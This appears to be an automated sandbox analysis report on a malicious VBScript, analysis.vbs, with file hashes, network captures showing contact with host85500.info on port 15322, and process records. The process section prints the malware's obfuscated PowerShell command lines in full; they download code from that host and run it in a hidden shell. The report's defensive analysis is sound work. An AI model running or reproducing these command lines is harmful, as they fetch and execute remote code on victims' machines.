SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r4gxrv5v.agl.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	ASCII text, with very long lines (16795), with no line terminators
Entropy (8bit):	4.071901946369593
TrID:
File name:	analysis.vbs
File size:	16'795 bytes
MD5:	f88fb28db55f790656578d4fa2a18281
SHA1:	6c14e47dbc336247d467a3fa9c77ec7ffa2450b1
SHA256:	834024ad5c7dd595bcb62b79d6a13dc654cbe0805e8e29dba9a3590834a576ba
SHA512:	a7903a20c6f5548a38a29235db211e068c0a3a210d3af2503b3d13187d107f8437abcf9be7f2ebbb55792354233bd9e8b5e99e1b5f095364865a482fd5eb8e49
SSDEEP:	384:OS6QdlNQq4KP2zhsS6XzypeKxch6pUkRjf+wxib:HBQqZP+mw4
TLSH:	4D72CC596E448F439C2D2E4FE0B03A2AC3EDACA5673C94D99F2D3F801D4C1527A7C999
File Content Preview:	tAsSgEzAlTuwmUnGAzqqlJCVcYSW = Split("FYsZKpnyor EYsZKpnyach QSUAcZglxxrrActOEgXFj IYsZKpnyn SYsZKpnyplit(""492/YsZKpny3sK390/2sK-8+125sK308/2sK796/4sK23+176sK392/2sK112+87sK468/4sK334/2sK530-344sK-155+355sK606/3sK18+176sK564-378sK533-416sK471-308sK90+96s

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 20
• 15322 undefined
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 5, 2025 16:20:17.595820904 CET	49704	443	192.168.2.5	149.56.240.127
Feb 5, 2025 16:20:17.595875025 CET	443	49704	149.56.240.127	192.168.2.5
Feb 5, 2025 16:20:17.595969915 CET	49704	443	192.168.2.5	149.56.240.127
Feb 5, 2025 16:20:17.603233099 CET	49704	443	192.168.2.5	149.56.240.127
Feb 5, 2025 16:20:17.603247881 CET	443	49704	149.56.240.127	192.168.2.5
Feb 5, 2025 16:20:18.202172995 CET	443	49704	149.56.240.127	192.168.2.5
Feb 5, 2025 16:20:18.202313900 CET	49704	443	192.168.2.5	149.56.240.127
Feb 5, 2025 16:20:18.252660036 CET	49704	443	192.168.2.5	149.56.240.127
Feb 5, 2025 16:20:18.252688885 CET	443	49704	149.56.240.127	192.168.2.5
Feb 5, 2025 16:20:18.252990961 CET	443	49704	149.56.240.127	192.168.2.5
Feb 5, 2025 16:20:18.253063917 CET	49704	443	192.168.2.5	149.56.240.127
Feb 5, 2025 16:20:18.255259991 CET	49704	443	192.168.2.5	149.56.240.127
Feb 5, 2025 16:20:18.295336962 CET	443	49704	149.56.240.127	192.168.2.5
Feb 5, 2025 16:20:18.361311913 CET	443	49704	149.56.240.127	192.168.2.5
Feb 5, 2025 16:20:18.361419916 CET	443	49704	149.56.240.127	192.168.2.5
Feb 5, 2025 16:20:18.361526012 CET	49704	443	192.168.2.5	149.56.240.127
Feb 5, 2025 16:20:18.379185915 CET	49704	443	192.168.2.5	149.56.240.127
Feb 5, 2025 16:20:18.379223108 CET	443	49704	149.56.240.127	192.168.2.5
Feb 5, 2025 16:20:19.413455963 CET	49705	15322	192.168.2.5	45.93.9.167
Feb 5, 2025 16:20:19.418328047 CET	15322	49705	45.93.9.167	192.168.2.5
Feb 5, 2025 16:20:19.418411016 CET	49705	15322	192.168.2.5	45.93.9.167
Feb 5, 2025 16:20:19.489339113 CET	49705	15322	192.168.2.5	45.93.9.167
Feb 5, 2025 16:20:19.495076895 CET	15322	49705	45.93.9.167	192.168.2.5
Feb 5, 2025 16:20:20.093193054 CET	15322	49705	45.93.9.167	192.168.2.5
Feb 5, 2025 16:20:20.093215942 CET	15322	49705	45.93.9.167	192.168.2.5
Feb 5, 2025 16:20:20.093295097 CET	49705	15322	192.168.2.5	45.93.9.167
Feb 5, 2025 16:20:20.206953049 CET	49705	15322	192.168.2.5	45.93.9.167
Feb 5, 2025 16:20:20.211811066 CET	15322	49705	45.93.9.167	192.168.2.5
Feb 5, 2025 16:20:20.409662962 CET	15322	49705	45.93.9.167	192.168.2.5
Feb 5, 2025 16:20:20.428282976 CET	49705	15322	192.168.2.5	45.93.9.167
Feb 5, 2025 16:20:20.433203936 CET	15322	49705	45.93.9.167	192.168.2.5
Feb 5, 2025 16:21:59.352375031 CET	49705	15322	192.168.2.5	45.93.9.167
Feb 5, 2025 16:21:59.663949966 CET	49705	15322	192.168.2.5	45.93.9.167
Feb 5, 2025 16:22:00.041023016 CET	15322	49705	45.93.9.167	192.168.2.5
Feb 5, 2025 16:22:00.042548895 CET	15322	49705	45.93.9.167	192.168.2.5
Feb 5, 2025 16:22:00.042865038 CET	49705	15322	192.168.2.5	45.93.9.167

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 5, 2025 16:20:17.583128929 CET	59286	53	192.168.2.5	1.1.1.1
Feb 5, 2025 16:20:17.589663982 CET	53	59286	1.1.1.1	192.168.2.5
Feb 5, 2025 16:20:19.330755949 CET	51422	53	192.168.2.5	1.1.1.1
Feb 5, 2025 16:20:19.366413116 CET	53	51422	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 5, 2025 16:20:17.583128929 CET	192.168.2.5	1.1.1.1	0x13cc	Standard query (0)	s4.histats.com	A (IP address)	IN (0x0001)	false
Feb 5, 2025 16:20:19.330755949 CET	192.168.2.5	1.1.1.1	0xe775	Standard query (0)	host85500.info	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Feb 5, 2025 16:20:17.589663982 CET	1.1.1.1	192.168.2.5	0x13cc	No error (0)	s4.histats.com	149.56.240.127	A (IP address)	IN (0x0001)	false
Feb 5, 2025 16:20:17.589663982 CET	1.1.1.1	192.168.2.5	0x13cc	No error (0)	s4.histats.com	54.39.156.32	A (IP address)	IN (0x0001)	false
Feb 5, 2025 16:20:17.589663982 CET	1.1.1.1	192.168.2.5	0x13cc	No error (0)	s4.histats.com	149.56.240.31	A (IP address)	IN (0x0001)	false
Feb 5, 2025 16:20:17.589663982 CET	1.1.1.1	192.168.2.5	0x13cc	No error (0)	s4.histats.com	54.39.128.162	A (IP address)	IN (0x0001)	false
Feb 5, 2025 16:20:17.589663982 CET	1.1.1.1	192.168.2.5	0x13cc	No error (0)	s4.histats.com	54.39.128.117	A (IP address)	IN (0x0001)	false
Feb 5, 2025 16:20:17.589663982 CET	1.1.1.1	192.168.2.5	0x13cc	No error (0)	s4.histats.com	149.56.240.130	A (IP address)	IN (0x0001)	false
Feb 5, 2025 16:20:17.589663982 CET	1.1.1.1	192.168.2.5	0x13cc	No error (0)	s4.histats.com	142.4.219.198	A (IP address)	IN (0x0001)	false
Feb 5, 2025 16:20:17.589663982 CET	1.1.1.1	192.168.2.5	0x13cc	No error (0)	s4.histats.com	149.56.240.131	A (IP address)	IN (0x0001)	false
Feb 5, 2025 16:20:17.589663982 CET	1.1.1.1	192.168.2.5	0x13cc	No error (0)	s4.histats.com	158.69.254.144	A (IP address)	IN (0x0001)	false
Feb 5, 2025 16:20:17.589663982 CET	1.1.1.1	192.168.2.5	0x13cc	No error (0)	s4.histats.com	149.56.240.132	A (IP address)	IN (0x0001)	false
Feb 5, 2025 16:20:17.589663982 CET	1.1.1.1	192.168.2.5	0x13cc	No error (0)	s4.histats.com	149.56.240.129	A (IP address)	IN (0x0001)	false
Feb 5, 2025 16:20:17.589663982 CET	1.1.1.1	192.168.2.5	0x13cc	No error (0)	s4.histats.com	149.56.240.128	A (IP address)	IN (0x0001)	false
Feb 5, 2025 16:20:17.589663982 CET	1.1.1.1	192.168.2.5	0x13cc	No error (0)	s4.histats.com	149.56.240.27	A (IP address)	IN (0x0001)	false
Feb 5, 2025 16:20:19.366413116 CET	1.1.1.1	192.168.2.5	0xe775	No error (0)	host85500.info	45.93.9.167	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

s4.histats.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	149.56.240.127	443	5608	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-05 15:20:18 UTC	385	OUT	GET /stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/d_opened HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: s4.histats.com Connection: Keep-Alive
2025-02-05 15:20:18 UTC	135	IN	HTTP/1.1 200 OK Date: Wed, 05 Feb 2025 15:20:18 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 376 Connection: close
2025-02-05 15:20:18 UTC	376	IN	Data Raw: 5f 48 53 54 5f 63 6e 74 76 61 6c 3d 22 49 6e 69 74 69 61 6c 69 7a 69 6e 67 2e 2e 22 3b 63 68 66 68 28 5f 48 53 54 5f 63 6e 74 76 61 6c 29 3b 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 62 2e 73 72 63 3d 22 2f 2f 65 2e 64 74 73 63 6f 75 74 2e 63 6f 6d 2f 65 2f 3f 76 3d 31 61 26 70 69 64 3d 35 32 30 30 26 73 69 74 65 3d 31 26 6c 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2b 22 26 6a 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 3b 0a 62 2e 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 Data Ascii: _HST_cntval="Initializing..";chfh(_HST_cntval);;!function(){try{var b=document.createElement("script");b.src="//e.dtscout.com/e/?v=1a&pid=5200&site=1&l="+encodeURIComponent(window.location.href)+"&j="+encodeURIComponent(document.referrer);b.async="async"

Statistics

CPU Usage

• wscript.exe
• cmd.exe
• conhost.exe
• cmd.exe
• powershell.exe

Click to jump to process

Memory Usage

• wscript.exe
• cmd.exe
• conhost.exe
• cmd.exe
• powershell.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Click to jump to process

Target ID:	0
Start time:	10:20:09
Start date:	05/02/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\analysis.vbs"
Imagebase:	0x7ff6860b0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	10:20:17
Start date:	05/02/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^^^\|%{[char]($_+381)})-join'') ^^^\| ^^^&($BqIeP) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"
Imagebase:	0x7ff70c650000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	10:20:18
Start date:	05/02/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	10:20:18
Start date:	05/02/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^\|%{[char]($_+381)})-join'') ^\| ^&($BqIeP) "
Imagebase:	0x7ff70c650000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	10:20:18
Start date:	05/02/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -
Imagebase:	0xb60000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true